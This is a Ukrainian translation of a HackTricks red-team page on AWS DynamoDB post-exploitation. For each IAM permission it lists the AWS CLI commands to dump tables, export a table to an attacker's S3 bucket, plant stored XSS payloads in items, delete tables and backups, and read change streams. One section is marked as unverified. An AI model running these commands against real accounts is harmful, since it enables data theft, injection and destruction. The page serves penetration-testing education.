AWS - DynamoDB Post Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

DynamoDB

Для отримання додаткової інформації перегляньте:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Зловмисник з цими дозволами зможе отримувати елементи з таблиць за первинним ключем (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці

dynamodb:GetItem

Аналогічно до попередніх дозволів, цей дозвіл дозволяє потенційному зловмиснику читати значення лише з 1 таблиці за вказаним первинним ключем запису для отримання:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

З цим дозволом також можливо використовувати метод transact-get-items наступним чином:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці

dynamodb:Query

Схоже на попередні дозволи, цей дозвіл дозволяє потенційному зловмиснику читати значення лише з 1 таблиці за допомогою первинного ключа запису для отримання. Це дозволяє використовувати підмножину порівнянь, але єдине порівняння, дозволене з первинним ключем (яке повинно бути вказано), - це "EQ", тому ви не можете використовувати порівняння для отримання всієї бази даних за одним запитом.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці

dynamodb:Scan

Ви можете використовувати це дозвіл для легкого вивантаження всієї таблиці.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці

dynamodb:PartiQLSelect

Ви можете використовувати це дозвіл для легкого виведення всієї таблиці.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Це дозвіл також дозволяє виконувати batch-execute-statement, наприклад:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

але вам потрібно вказати первинний ключ зі значенням, тому це не так корисно.

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Ця дозвіл дозволить атакуючому експортувати всю таблицю в вибране ним відро S3:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Зауважте, що для цього потрібно, щоб у таблиці була увімкнена можливість відновлення до певного моменту в часі. Ви можете перевірити, чи ця можливість увімкнена для таблиці за допомогою наступної команди:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Якщо це не увімкнено, вам потрібно увімкнути це, і для цього вам потрібно дозвіл dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

З цими дозволами зловмисник зможе створити нову таблицю з резервної копії (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, маючи необхідні дозволи, він зможе перевірити інформацію з резервних копій, яка може вже не бути в продукційній таблиці.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в резервній копії таблиці

dynamodb:PutItem

Ця дозвіл дозволяє користувачам додавати новий елемент до таблиці або замінювати існуючий елемент на новий елемент. Якщо елемент з таким же основним ключем вже існує, весь елемент буде замінений на новий елемент. Якщо основний ключ не існує, буде створено новий елемент з вказаним основним ключем.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Потенційний вплив: Використання подальших вразливостей/обхідів за допомогою можливості додавання/зміни даних в таблиці DynamoDB

dynamodb:UpdateItem

Ця дозвіл дозволяє користувачам змінювати існуючі атрибути елемента або додавати нові атрибути до елемента. Він не замінює весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція створить новий елемент з вказаним первинним ключем та встановить атрибути, вказані в виразі оновлення.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Потенційний вплив: Використання подальших вразливостей/обхідів за допомогою можливості додавання/зміни даних в таблиці DynamoDB

dynamodb:DeleteTable

Зловмисник з цим дозволом може видалити таблицю DynamoDB, що призведе до втрати даних.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Потенційний вплив: Втрата даних та порушення послуг, які залежать від видаленої таблиці.

dynamodb:DeleteBackup

Зловмисник з цим дозволом може видалити резервну копію DynamoDB, що потенційно може призвести до втрати даних у випадку відновлення після аварії.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Потенційний вплив: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після аварії.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Перевірте, чи це дійсно працює

Зловмисник з цими дозволами може увімкнути потік на таблиці DynamoDB, оновити таблицю для початку потокового відтворення змін, а потім отримати доступ до потоку для моніторингу змін в таблиці в реальному часі. Це дозволяє зловмиснику моніторити та виводити дані про зміни, що може призвести до витоку даних.

  1. Увімкнути потік на таблиці DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Опишіть потік для отримання ARN та інших деталей:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Отримайте ітератор шарду, використовуючи ARN потоку:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Використовуйте ітератор шардів для доступу та виведення даних з потоку:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Потенційний вплив: Моніторинг в реальному часі та витік даних змін у таблиці DynamoDB.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated